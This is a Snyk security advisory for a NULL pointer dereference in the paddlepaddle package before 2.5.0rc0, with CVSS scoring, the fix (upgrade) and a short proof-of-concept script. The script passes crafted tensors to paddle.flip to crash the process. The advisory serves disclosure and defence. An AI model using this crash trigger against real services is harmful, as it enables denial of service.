NULL Pointer Dereference Affecting paddlepaddle package, versions [,2.5.0rc0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (34th percentile)

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  • Snyk ID SNYK-PYTHON-PADDLEPADDLE-5807396
  • published 26 Jul 2023
  • disclosed 26 Jul 2023
  • credit Tong Liu

How to fix?

Upgrade paddlepaddle to version 2.5.0rc0 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to NULL Pointer Dereference in the PyObject_CheckLongOrToLong() function used by paddle.flip, which can cause a segmentation fault and crash.

PoC

import paddle
import numpy as np
from paddle import flip

x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))

flip(x, axis)

CVSS Scores

version 3.1
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Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
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NVD

7.5 high